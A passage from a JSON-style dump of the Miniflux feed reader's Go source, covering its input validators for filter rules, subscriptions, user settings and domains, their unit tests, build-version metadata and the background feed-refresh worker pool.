    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage validator // import \"miniflux.app/v2/internal/validator\"\n\nimport (\n\t\"slices\"\n\t\"strings\"\n\n\t\"miniflux.app/v2/internal/locale\"\n)\n\nfunc isValidFilterRules(filterEntryRules string, filterType string) *locale.LocalizedError {\n\t// Valid Format: FieldName=RegEx\\nFieldName=RegEx...\n\tfieldNames := []string{\"EntryTitle\", \"EntryURL\", \"EntryCommentsURL\", \"EntryContent\", \"EntryAuthor\", \"EntryTag\", \"EntryDate\"}\n\n\trules := strings.Split(filterEntryRules, \"\\n\")\n\tfor i, rule := range rules {\n\t\t// Check if rule starts with a valid fieldName\n\t\tidx := slices.IndexFunc(fieldNames, func(fieldName string) bool { return strings.HasPrefix(rule, fieldName) })\n\t\tif idx == -1 {\n\t\t\treturn locale.NewLocalizedError(\"error.settings_\"+filterType+\"_rule_fieldname_invalid\", i+1, \"'\"+strings.Join(fieldNames, \"', '\")+\"'\")\n\t\t}\n\t\tfieldName := fieldNames[idx]\n\t\tfieldRegEx, _ := strings.CutPrefix(rule, fieldName)\n\n\t\t// Check if regex begins with a =\n\t\tif !strings.HasPrefix(fieldRegEx, \"=\") {\n\t\t\treturn locale.NewLocalizedError(\"error.settings_\"+filterType+\"_rule_separator_required\", i+1)\n\t\t}\n\t\tfieldRegEx = strings.TrimPrefix(fieldRegEx, \"=\")\n\n\t\tif fieldRegEx == \"\" {\n\t\t\treturn locale.NewLocalizedError(\"error.settings_\"+filterType+\"_rule_regex_required\", i+1)\n\t\t}\n\n\t\t// Check if provided pattern is a valid RegEx\n\t\tif !IsValidRegex(fieldRegEx) {\n\t\t\treturn locale.NewLocalizedError(\"error.settings_\"+filterType+\"_rule_invalid_regex\", i+1)\n\t\t}\n\t}\n\treturn nil\n}\n"
  },
  {
    "path": "internal/validator/filter_test.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage validator // import \"miniflux.app/v2/internal/validator\"\n\nimport \"testing\"\n\nfunc TestIsValidFilterRules(t *testing.T) {\n\ttests := []struct {\n\t\tname    string\n\t\trules   string\n\t\twantErr bool\n\t}{\n\t\t{\n\t\t\tname:    \"valid single rule\",\n\t\t\trules:   \"EntryTitle=foo\",\n\t\t\twantErr: false,\n\t\t},\n\t\t{\n\t\t\tname:    \"valid multiple rules\",\n\t\t\trules:   \"EntryTitle=foo\\nEntryContent=bar\",\n\t\t\twantErr: false,\n\t\t},\n\t\t{\n\t\t\tname:    \"invalid field name\",\n\t\t\trules:   \"Title=foo\",\n\t\t\twantErr: true,\n\t\t},\n\t\t{\n\t\t\tname:    \"missing separator\",\n\t\t\trules:   \"EntryTitle:foo\",\n\t\t\twantErr: true,\n\t\t},\n\t\t{\n\t\t\tname:    \"empty regex\",\n\t\t\trules:   \"EntryTitle=\",\n\t\t\twantErr: true,\n\t\t},\n\t\t{\n\t\t\tname:    \"invalid regex\",\n\t\t\trules:   \"EntryTitle=[\",\n\t\t\twantErr: true,\n\t\t},\n\t}\n\n\tfor _, tt := range tests {\n\t\ttc := tt\n\t\tt.Run(tc.name, func(t *testing.T) {\n\t\t\terr := isValidFilterRules(tc.rules, \"block\")\n\t\t\tif (err != nil) != tc.wantErr {\n\t\t\t\tt.Fatalf(\"expected error=%v, got %v\", tc.wantErr, err)\n\t\t\t}\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "internal/validator/subscription.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage validator // import \"miniflux.app/v2/internal/validator\"\n\nimport (\n\t\"miniflux.app/v2/internal/locale\"\n\t\"miniflux.app/v2/internal/model\"\n\t\"miniflux.app/v2/internal/urllib\"\n)\n\n// ValidateSubscriptionDiscovery validates subscription discovery requests.\nfunc ValidateSubscriptionDiscovery(request *model.SubscriptionDiscoveryRequest) *locale.LocalizedError {\n\tif !urllib.IsAbsoluteURL(request.URL) {\n\t\treturn locale.NewLocalizedError(\"error.invalid_site_url\")\n\t}\n\n\tif request.ProxyURL != \"\" && !urllib.IsAbsoluteURL(request.ProxyURL) {\n\t\treturn locale.NewLocalizedError(\"error.invalid_proxy_url\")\n\t}\n\n\treturn nil\n}\n"
  },
  {
    "path": "internal/validator/subscription_test.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage validator // import \"miniflux.app/v2/internal/validator\"\n\nimport (\n\t\"testing\"\n\n\t\"miniflux.app/v2/internal/model\"\n)\n\nfunc TestValidateSubscriptionDiscovery(t *testing.T) {\n\ttests := []struct {\n\t\tname    string\n\t\treq     *model.SubscriptionDiscoveryRequest\n\t\twantErr bool\n\t}{\n\t\t{\n\t\t\tname:    \"valid site url\",\n\t\t\treq:     &model.SubscriptionDiscoveryRequest{URL: \"https://example.org\"},\n\t\t\twantErr: false,\n\t\t},\n\t\t{\n\t\t\tname:    \"invalid site url\",\n\t\t\treq:     &model.SubscriptionDiscoveryRequest{URL: \"example.org\"},\n\t\t\twantErr: true,\n\t\t},\n\t\t{\n\t\t\tname:    \"invalid proxy url\",\n\t\t\treq:     &model.SubscriptionDiscoveryRequest{URL: \"https://example.org\", ProxyURL: \"example.org\"},\n\t\t\twantErr: true,\n\t\t},\n\t}\n\n\tfor _, tc := range tests {\n\t\tt.Run(tc.name, func(t *testing.T) {\n\t\t\tif err := ValidateSubscriptionDiscovery(tc.req); (err != nil) != tc.wantErr {\n\t\t\t\tt.Fatalf(\"expected error %v, got %v\", tc.wantErr, err)\n\t\t\t}\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "internal/validator/user.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage validator // import \"miniflux.app/v2/internal/validator\"\n\nimport (\n\t\"strings\"\n\t\"unicode\"\n\n\t\"miniflux.app/v2/internal/locale\"\n\t\"miniflux.app/v2/internal/model\"\n\t\"miniflux.app/v2/internal/storage\"\n\t\"miniflux.app/v2/internal/timezone\"\n)\n\n// ValidateUserCreationWithPassword validates user creation with a password.\nfunc ValidateUserCreationWithPassword(store *storage.Storage, request *model.UserCreationRequest) *locale.LocalizedError {\n\tif request.Username == \"\" {\n\t\treturn locale.NewLocalizedError(\"error.user_mandatory_fields\")\n\t}\n\n\tif store.UserExists(request.Username) {\n\t\treturn locale.NewLocalizedError(\"error.user_already_exists\")\n\t}\n\n\tif err := validateUsername(request.Username); err != nil {\n\t\treturn err\n\t}\n\n\tif err := validatePassword(request.Password); err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}\n\n// ValidateUserModification validates user modifications.\nfunc ValidateUserModification(store *storage.Storage, userID int64, changes *model.UserModificationRequest) *locale.LocalizedError {\n\tif changes.Username != nil {\n\t\tif *changes.Username == \"\" {\n\t\t\treturn locale.NewLocalizedError(\"error.user_mandatory_fields\")\n\t\t} else if store.AnotherUserExists(userID, *changes.Username) {\n\t\t\treturn locale.NewLocalizedError(\"error.user_already_exists\")\n\t\t}\n\t}\n\n\tif changes.Password != nil {\n\t\tif err := validatePassword(*changes.Password); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif changes.Theme != nil {\n\t\tif err := validateTheme(*changes.Theme); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif changes.Language != nil {\n\t\tif err := validateLanguage(*changes.Language); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif changes.Timezone != nil {\n\t\tif err := validateTimezone(*changes.Timezone); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif changes.EntryDirection != nil {\n\t\tif err := validateEntryDirection(*changes.EntryDirection); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif changes.EntryOrder != nil {\n\t\tif err := ValidateEntryOrder(*changes.EntryOrder); err != nil {\n\t\t\treturn locale.NewLocalizedError(\"error.invalid_entry_order\")\n\t\t}\n\t}\n\n\tif changes.EntriesPerPage != nil {\n\t\tif err := validateEntriesPerPage(*changes.EntriesPerPage); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif changes.CategoriesSortingOrder != nil {\n\t\tif err := validateCategoriesSortingOrder(*changes.CategoriesSortingOrder); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif changes.DisplayMode != nil {\n\t\tif err := validateDisplayMode(*changes.DisplayMode); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif changes.GestureNav != nil {\n\t\tif err := validateGestureNav(*changes.GestureNav); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif changes.DefaultReadingSpeed != nil {\n\t\tif err := validateReadingSpeed(*changes.DefaultReadingSpeed); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif changes.CJKReadingSpeed != nil {\n\t\tif err := validateReadingSpeed(*changes.CJKReadingSpeed); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif changes.DefaultHomePage != nil {\n\t\tif err := validateDefaultHomePage(*changes.DefaultHomePage); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif changes.MediaPlaybackRate != nil {\n\t\tif err := validateMediaPlaybackRate(*changes.MediaPlaybackRate); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif changes.BlockFilterEntryRules != nil {\n\t\tif *changes.BlockFilterEntryRules != \"\" {\n\t\t\tif err := isValidFilterRules(*changes.BlockFilterEntryRules, \"block\"); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\n\tif changes.KeepFilterEntryRules != nil {\n\t\tif *changes.KeepFilterEntryRules != \"\" {\n\t\t\tif err := isValidFilterRules(*changes.KeepFilterEntryRules, \"keep\"); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\n\tif changes.ExternalFontHosts != nil {\n\t\tif !IsValidDomainList(*changes.ExternalFontHosts) {\n\t\t\treturn locale.NewLocalizedError(\"error.settings_invalid_domain_list\")\n\t\t}\n\t}\n\n\treturn nil\n}\n\nfunc validateReadingSpeed(readingSpeed int) *locale.LocalizedError {\n\tif readingSpeed <= 0 {\n\t\treturn locale.NewLocalizedError(\"error.settings_reading_speed_is_positive\")\n\t}\n\treturn nil\n}\n\nfunc validatePassword(password string) *locale.LocalizedError {\n\tif len(password) < 6 {\n\t\treturn locale.NewLocalizedError(\"error.password_min_length\")\n\t}\n\treturn nil\n}\n\n// validateUsername return an error if the `username` argument contains\n// a character that isn't alphanumerical nor `_` and `-`.\n//\n// Note: this validation should not be applied to previously created usernames,\n// and cannot be applied to Google/OIDC accounts creation because the email\n// address is used for the username field.\nfunc validateUsername(username string) *locale.LocalizedError {\n\tif strings.ContainsFunc(username, func(r rune) bool {\n\t\tif unicode.IsLetter(r) || unicode.IsNumber(r) {\n\t\t\treturn false\n\t\t}\n\t\tif r == '_' || r == '-' || r == '@' || r == '.' {\n\t\t\treturn false\n\t\t}\n\t\treturn true\n\t}) {\n\t\treturn locale.NewLocalizedError(\"error.invalid_username\")\n\t}\n\treturn nil\n}\n\nfunc validateTheme(theme string) *locale.LocalizedError {\n\tthemes := model.Themes()\n\tif _, found := themes[theme]; !found {\n\t\treturn locale.NewLocalizedError(\"error.invalid_theme\")\n\t}\n\treturn nil\n}\n\nfunc validateLanguage(language string) *locale.LocalizedError {\n\tlanguages := locale.AvailableLanguages\n\tif _, found := languages[language]; !found {\n\t\treturn locale.NewLocalizedError(\"error.invalid_language\")\n\t}\n\treturn nil\n}\n\nfunc validateTimezone(timezoneValue string) *locale.LocalizedError {\n\tif !timezone.IsValid(timezoneValue) {\n\t\treturn locale.NewLocalizedError(\"error.invalid_timezone\")\n\t}\n\treturn nil\n}\n\nfunc validateEntryDirection(direction string) *locale.LocalizedError {\n\tif direction != \"asc\" && direction != \"desc\" {\n\t\treturn locale.NewLocalizedError(\"error.invalid_entry_direction\")\n\t}\n\treturn nil\n}\n\nfunc validateEntriesPerPage(entriesPerPage int) *locale.LocalizedError {\n\tif entriesPerPage < 1 {\n\t\treturn locale.NewLocalizedError(\"error.entries_per_page_invalid\")\n\t}\n\treturn nil\n}\n\nfunc validateCategoriesSortingOrder(order string) *locale.LocalizedError {\n\tif order != \"alphabetical\" && order != \"unread_count\" {\n\t\treturn locale.NewLocalizedError(\"error.invalid_categories_sorting_order\")\n\t}\n\treturn nil\n}\n\nfunc validateDisplayMode(displayMode string) *locale.LocalizedError {\n\tif displayMode != \"fullscreen\" && displayMode != \"standalone\" && displayMode != \"minimal-ui\" && displayMode != \"browser\" {\n\t\treturn locale.NewLocalizedError(\"error.invalid_display_mode\")\n\t}\n\treturn nil\n}\n\nfunc validateGestureNav(gestureNav string) *locale.LocalizedError {\n\tif gestureNav != \"none\" && gestureNav != \"tap\" && gestureNav != \"swipe\" {\n\t\treturn locale.NewLocalizedError(\"error.invalid_gesture_nav\")\n\t}\n\treturn nil\n}\n\nfunc validateDefaultHomePage(defaultHomePage string) *locale.LocalizedError {\n\tdefaultHomePages := model.HomePages()\n\tif _, found := defaultHomePages[defaultHomePage]; !found {\n\t\treturn locale.NewLocalizedError(\"error.invalid_default_home_page\")\n\t}\n\treturn nil\n}\n\nfunc validateMediaPlaybackRate(mediaPlaybackRate float64) *locale.LocalizedError {\n\tif mediaPlaybackRate < 0.25 || mediaPlaybackRate > 4 {\n\t\treturn locale.NewLocalizedError(\"error.settings_media_playback_rate_range\")\n\t}\n\treturn nil\n}\n"
  },
  {
    "path": "internal/validator/user_test.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage validator // import \"miniflux.app/v2/internal/validator\"\n\nimport (\n\t\"testing\"\n\n\t\"miniflux.app/v2/internal/locale\"\n\t\"miniflux.app/v2/internal/model\"\n)\n\nfunc TestValidateUsername(t *testing.T) {\n\tscenarios := map[string]*locale.LocalizedError{\n\t\t\"userone\":          nil,\n\t\t\"user.name\":        nil,\n\t\t\"user@example.com\": nil,\n\t\t\"john_doe\":         nil,\n\t\t\"john-doe\":         nil,\n\t\t\"User123\":          nil,\n\t\t\"invalid username\": locale.NewLocalizedError(\"error.invalid_username\"),\n\t\t\"user/path\":        locale.NewLocalizedError(\"error.invalid_username\"),\n\t\t\"user🙂\":            locale.NewLocalizedError(\"error.invalid_username\"),\n\t}\n\n\tfor username, expected := range scenarios {\n\t\tresult := validateUsername(username)\n\t\tif expected == nil {\n\t\t\tif result != nil {\n\t\t\t\tt.Errorf(`got an unexpected error for %q instead of nil: %v`, username, result)\n\t\t\t}\n\t\t} else {\n\t\t\tif result == nil {\n\t\t\t\tt.Errorf(`expected an error, got nil.`)\n\t\t\t}\n\t\t}\n\t}\n}\n\nfunc TestValidateReadingSpeed(t *testing.T) {\n\ttests := map[int]bool{\n\t\t1:   false,\n\t\t100: false,\n\t\t0:   true,\n\t\t-5:  true,\n\t}\n\n\tfor speed, wantErr := range tests {\n\t\tif err := validateReadingSpeed(speed); (err != nil) != wantErr {\n\t\t\tt.Errorf(\"reading speed %d error mismatch: got %v wantErr %v\", speed, err, wantErr)\n\t\t}\n\t}\n}\n\nfunc TestValidatePassword(t *testing.T) {\n\ttests := map[string]bool{\n\t\t\"secret\":   false,\n\t\t\"longpass\": false,\n\t\t\"short\":    true,\n\t\t\"\":         true,\n\t}\n\n\tfor password, wantErr := range tests {\n\t\tif err := validatePassword(password); (err != nil) != wantErr {\n\t\t\tt.Errorf(\"password %q error mismatch: got %v wantErr %v\", password, err, wantErr)\n\t\t}\n\t}\n}\n\nfunc TestValidateTheme(t *testing.T) {\n\tif err := validateTheme(\"light_serif\"); err != nil {\n\t\tt.Errorf(\"expected valid theme to pass, got %v\", err)\n\t}\n\n\tif err := validateTheme(\"unknown\"); err == nil {\n\t\tt.Error(\"expected invalid theme to fail\")\n\t}\n}\n\nfunc TestValidateLanguage(t *testing.T) {\n\tif err := validateLanguage(\"en_US\"); err != nil {\n\t\tt.Errorf(\"expected valid language to pass, got %v\", err)\n\t}\n\n\tif err := validateLanguage(\"xx_YY\"); err == nil {\n\t\tt.Error(\"expected invalid language to fail\")\n\t}\n}\n\nfunc TestValidateTimezone(t *testing.T) {\n\tif err := validateTimezone(\"UTC\"); err != nil {\n\t\tt.Errorf(\"expected valid timezone to pass, got %v\", err)\n\t}\n\n\tif err := validateTimezone(\"Invalid/Zone\"); err == nil {\n\t\tt.Error(\"expected invalid timezone to fail\")\n\t}\n}\n\nfunc TestValidateEntryDirection(t *testing.T) {\n\tfor _, direction := range []string{\"asc\", \"desc\"} {\n\t\tif err := validateEntryDirection(direction); err != nil {\n\t\t\tt.Errorf(\"expected valid direction %q to pass, got %v\", direction, err)\n\t\t}\n\t}\n\n\tif err := validateEntryDirection(\"sideways\"); err == nil {\n\t\tt.Error(\"expected invalid direction to fail\")\n\t}\n}\n\nfunc TestValidateEntriesPerPage(t *testing.T) {\n\tif err := validateEntriesPerPage(1); err != nil {\n\t\tt.Errorf(\"expected positive entries per page to pass, got %v\", err)\n\t}\n\n\tfor _, value := range []int{0, -1} {\n\t\tif err := validateEntriesPerPage(value); err == nil {\n\t\t\tt.Errorf(\"expected %d to fail\", value)\n\t\t}\n\t}\n}\n\nfunc TestValidateCategoriesSortingOrder(t *testing.T) {\n\tfor _, order := range []string{\"alphabetical\", \"unread_count\"} {\n\t\tif err := validateCategoriesSortingOrder(order); err != nil {\n\t\t\tt.Errorf(\"expected valid order %q to pass, got %v\", order, err)\n\t\t}\n\t}\n\n\tif err := validateCategoriesSortingOrder(\"popularity\"); err == nil {\n\t\tt.Error(\"expected invalid order to fail\")\n\t}\n}\n\nfunc TestValidateDisplayMode(t *testing.T) {\n\tfor _, mode := range []string{\"fullscreen\", \"standalone\", \"minimal-ui\", \"browser\"} {\n\t\tif err := validateDisplayMode(mode); err != nil {\n\t\t\tt.Errorf(\"expected valid mode %q to pass, got %v\", mode, err)\n\t\t}\n\t}\n\n\tif err := validateDisplayMode(\"windowed\"); err == nil {\n\t\tt.Error(\"expected invalid display mode to fail\")\n\t}\n}\n\nfunc TestValidateGestureNav(t *testing.T) {\n\tfor _, gesture := range []string{\"none\", \"tap\", \"swipe\"} {\n\t\tif err := validateGestureNav(gesture); err != nil {\n\t\t\tt.Errorf(\"expected valid gesture %q to pass, got %v\", gesture, err)\n\t\t}\n\t}\n\n\tif err := validateGestureNav(\"pinch\"); err == nil {\n\t\tt.Error(\"expected invalid gesture to fail\")\n\t}\n}\n\nfunc TestValidateDefaultHomePage(t *testing.T) {\n\tif err := validateDefaultHomePage(\"unread\"); err != nil {\n\t\tt.Errorf(\"expected valid home page to pass, got %v\", err)\n\t}\n\n\tif err := validateDefaultHomePage(\"dashboard\"); err == nil {\n\t\tt.Error(\"expected invalid home page to fail\")\n\t}\n}\n\nfunc TestValidateMediaPlaybackRate(t *testing.T) {\n\tfor _, rate := range []float64{0.25, 1.0, 4.0} {\n\t\tif err := validateMediaPlaybackRate(rate); err != nil {\n\t\t\tt.Errorf(\"expected valid rate %.2f to pass, got %v\", rate, err)\n\t\t}\n\t}\n\n\tfor _, rate := range []float64{0.1, 4.1} {\n\t\tif err := validateMediaPlaybackRate(rate); err == nil {\n\t\t\tt.Errorf(\"expected invalid rate %.2f to fail\", rate)\n\t\t}\n\t}\n}\n\nfunc TestValidateUserModificationAllowsClearingFilterRules(t *testing.T) {\n\treq := &model.UserModificationRequest{\n\t\tBlockFilterEntryRules: new(string),\n\t\tKeepFilterEntryRules:  new(string),\n\t}\n\n\tif err := ValidateUserModification(nil, 0, req); err != nil {\n\t\tt.Fatalf(\"expected empty filter rules to be accepted, got %v\", err)\n\t}\n}\n\nfunc TestValidateUserModificationRejectsInvalidNonEmptyFilterRule(t *testing.T) {\n\treq := &model.UserModificationRequest{\n\t\tBlockFilterEntryRules: new(\"EntryTitle=[\"),\n\t}\n\n\tif err := ValidateUserModification(nil, 0, req); err == nil {\n\t\tt.Fatal(\"expected invalid non-empty filter rules to be rejected\")\n\t}\n}\n"
  },
  {
    "path": "internal/validator/validator.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage validator // import \"miniflux.app/v2/internal/validator\"\n\nimport (\n\t\"errors\"\n\t\"regexp\"\n\t\"strings\"\n)\n\nvar domainRegex = regexp.MustCompile(`^(?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\.)+[a-z]{2,}$`)\n\n// ValidateRange makes sure the offset/limit values are valid.\nfunc ValidateRange(offset, limit int) error {\n\tif offset < 0 {\n\t\treturn errors.New(`offset value should be >= 0`)\n\t}\n\n\tif limit < 0 {\n\t\treturn errors.New(`limit value should be >= 0`)\n\t}\n\n\treturn nil\n}\n\n// ValidateDirection makes sure the sorting direction is valid.\nfunc ValidateDirection(direction string) error {\n\tswitch direction {\n\tcase \"asc\", \"desc\":\n\t\treturn nil\n\t}\n\n\treturn errors.New(`invalid direction, valid direction values are: \"asc\" or \"desc\"`)\n}\n\n// IsValidRegex verifies if the regex can be compiled.\nfunc IsValidRegex(expr string) bool {\n\t_, err := regexp.Compile(expr)\n\treturn err == nil\n}\n\n// IsValidDomain verifies a single domain name against length and character constraints.\nfunc IsValidDomain(domain string) bool {\n\tdomain = strings.ToLower(domain)\n\n\tif len(domain) < 1 || len(domain) > 253 {\n\t\treturn false\n\t}\n\n\treturn domainRegex.MatchString(domain)\n}\n\n// IsValidDomainList verifies a space-separated list of domains for validity.\nfunc IsValidDomainList(value string) bool {\n\tdomains := strings.SplitSeq(strings.TrimSpace(value), \" \")\n\tfor domain := range domains {\n\t\tif !IsValidDomain(domain) {\n\t\t\treturn false\n\t\t}\n\t}\n\n\treturn true\n}\n"
  },
  {
    "path": "internal/validator/validator_test.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage validator // import \"miniflux.app/v2/internal/validator\"\n\nimport \"testing\"\n\nfunc TestValidateRange(t *testing.T) {\n\tif err := ValidateRange(-1, 0); err == nil {\n\t\tt.Error(`An invalid offset should generate a error`)\n\t}\n\n\tif err := ValidateRange(0, -1); err == nil {\n\t\tt.Error(`An invalid limit should generate a error`)\n\t}\n\n\tif err := ValidateRange(42, 42); err != nil {\n\t\tt.Error(`A valid offset and limit should not generate any error`)\n\t}\n}\n\nfunc TestValidateDirection(t *testing.T) {\n\tfor _, status := range []string{\"asc\", \"desc\"} {\n\t\tif err := ValidateDirection(status); err != nil {\n\t\t\tt.Error(`A valid direction should not generate any error`)\n\t\t}\n\t}\n\n\tif err := ValidateDirection(\"invalid\"); err == nil {\n\t\tt.Error(`An invalid direction should generate a error`)\n\t}\n}\n\nfunc TestIsValidRegex(t *testing.T) {\n\tscenarios := map[string]bool{\n\t\t\"(?i)miniflux\": true,\n\t\t\"[\":            false,\n\t}\n\n\tfor expr, expected := range scenarios {\n\t\tresult := IsValidRegex(expr)\n\t\tif result != expected {\n\t\t\tt.Errorf(`Unexpected result, got %v instead of %v`, result, expected)\n\t\t}\n\t}\n}\n\nfunc TestIsValidDomain(t *testing.T) {\n\tscenarios := map[string]bool{\n\t\t\"example.org\":          true,\n\t\t\"example\":              false,\n\t\t\"example.\":             false,\n\t\t\"example..\":            false,\n\t\t\"mail.example.com:443\": false,\n\t\t\"*.example.com\":        false,\n\t}\n\n\tfor domain, expected := range scenarios {\n\t\tresult := IsValidDomain(domain)\n\t\tif result != expected {\n\t\t\tt.Errorf(`Unexpected result, got %v instead of %v`, result, expected)\n\t\t}\n\t}\n}\n\nfunc TestIsValidDomainList(t *testing.T) {\n\tscenarios := map[string]bool{\n\t\t\"example.org\":                 true,\n\t\t\"example.org example.com\":     true,\n\t\t\"example.org invalid..domain\": false,\n\t\t\"example.org example.com:443\": false,\n\t\t\"\":                            false,\n\t}\n\n\tfor domains, expected := range scenarios {\n\t\tresult := IsValidDomainList(domains)\n\t\tif result != expected {\n\t\t\tt.Errorf(`Unexpected result for %q, got %v instead of %v`, domains, result, expected)\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "internal/version/version.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage version // import \"miniflux.app/v2/internal/version\"\n\nimport (\n\t\"runtime/debug\"\n)\n\n// Variables populated at build time when using LD_FLAGS.\nvar (\n\tVersion   = \"\"\n\tCommit    = \"\"\n\tBuildDate = \"\"\n)\n\nfunc getCommit() string {\n\tif info, ok := debug.ReadBuildInfo(); ok {\n\t\tfor _, setting := range info.Settings {\n\t\t\tif setting.Key == \"vcs.revision\" {\n\t\t\t\tif len(setting.Value) >= 8 {\n\t\t\t\t\treturn setting.Value[:8]\n\t\t\t\t}\n\t\t\t\treturn setting.Value\n\t\t\t}\n\t\t}\n\t}\n\treturn \"Unknown (built outside VCS)\"\n}\n\nfunc getBuildDate() string {\n\tif info, ok := debug.ReadBuildInfo(); ok {\n\t\tfor _, setting := range info.Settings {\n\t\t\tif setting.Key == \"vcs.time\" {\n\t\t\t\treturn setting.Value\n\t\t\t}\n\t\t}\n\t}\n\treturn \"Unknown (built outside VCS)\"\n}\n\n// Populate build information from VCS metadata if LDFLAGS are not set.\n// Falls back to values from the Go module's build info when available.\nfunc init() {\n\tif Version == \"\" {\n\t\t// Some Miniflux clients expect a specific version format.\n\t\t// For example, Flux News converts the string version to an integer.\n\t\tVersion = \"2.2.x-dev\"\n\t}\n\tif Commit == \"\" {\n\t\tCommit = getCommit()\n\t}\n\tif BuildDate == \"\" {\n\t\tBuildDate = getBuildDate()\n\t}\n}\n"
  },
  {
    "path": "internal/version/version_test.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage version // import \"miniflux.app/v2/internal/version\"\n\nimport (\n\t\"strconv\"\n\t\"strings\"\n\t\"testing\"\n\t\"unicode\"\n)\n\n// Some Miniflux clients expect a specific version format with at least a digit.\nfunc TestVersionConvertedToInteger(t *testing.T) {\n\tvar b strings.Builder\n\tfor _, r := range Version {\n\t\tif unicode.IsDigit(r) {\n\t\t\tb.WriteRune(r)\n\t\t}\n\t}\n\n\tif b.Len() == 0 {\n\t\tt.Fatalf(\"Expected version to contain digits, got %q\", Version)\n\t}\n\n\tversionInt, err := strconv.ParseInt(b.String(), 10, 64)\n\tif err != nil {\n\t\tt.Fatalf(\"Failed to convert version to integer: %v\", err)\n\t}\n\n\tif versionInt <= 0 {\n\t\tt.Errorf(\"Expected version integer to be greater than 0, got %d\", versionInt)\n\t}\n}\n"
  },
  {
    "path": "internal/worker/pool.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage worker // import \"miniflux.app/v2/internal/worker\"\n\nimport (\n\t\"miniflux.app/v2/internal/model\"\n\t\"miniflux.app/v2/internal/storage\"\n)\n\n// Pool handles a pool of workers.\ntype Pool struct {\n\tqueue chan model.Job\n}\n\n// Push send a list of jobs to the queue.\nfunc (p *Pool) Push(jobs model.JobList) {\n\tfor _, job := range jobs {\n\t\tp.queue <- job\n\t}\n}\n\n// NewPool creates a pool of background workers.\nfunc NewPool(store *storage.Storage, nbWorkers int) *Pool {\n\tworkerPool := &Pool{\n\t\tqueue: make(chan model.Job),\n\t}\n\n\tfor i := range nbWorkers {\n\t\tworker := &worker{id: i, store: store}\n\t\tgo worker.Run(workerPool.queue)\n\t}\n\n\treturn workerPool\n}\n"
  },
  {
    "path": "internal/worker/worker.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage worker // import \"miniflux.app/v2/internal/worker\"\n\nimport (\n\t\"log/slog\"\n\t\"time\"\n\n\t\"miniflux.app/v2/internal/config\"\n\t\"miniflux.app/v2/internal/metric\"\n\t\"miniflux.app/v2/internal/model\"\n\tfeedHandler \"miniflux.app/v2/internal/reader/handler\"\n\t\"miniflux.app/v2/internal/storage\"\n)\n\n// worker refreshes a feed in the background.\ntype worker struct {\n\tid    int\n\tstore *storage.Storage\n}\n\n// Run wait for a job and refresh the given feed.\nfunc (w *worker) Run(c <-chan model.Job) {\n\tslog.Debug(\"Worker started\",\n\t\tslog.Int(\"worker_id\", w.id),\n\t)\n\n\tfor {\n\t\tjob := <-c\n\t\tslog.Debug(\"Job received by worker\",\n\t\t\tslog.Int(\"worker_id\", w.id),\n\t\t\tslog.Int64(\"user_id\", job.UserID),\n\t\t\tslog.Int64(\"feed_id\", job.FeedID),\n\t\t\tslog.String(\"feed_url\", job.FeedURL),\n\t\t)\n\n\t\tstartTime := time.Now()\n\t\tlocalizedError := feedHandler.RefreshFeed(w.store, job.UserID, job.FeedID, false)\n\n\t\tif config.Opts.HasMetricsCollector() {\n\t\t\tstatus := \"success\"\n\t\t\tif localizedError != nil {\n\t\t\t\tstatus = \"error\"\n\t\t\t}\n\t\t\tmetric.BackgroundFeedRefreshDuration.WithLabelValues(status).Observe(time.Since(startTime).Seconds())\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "main.go",
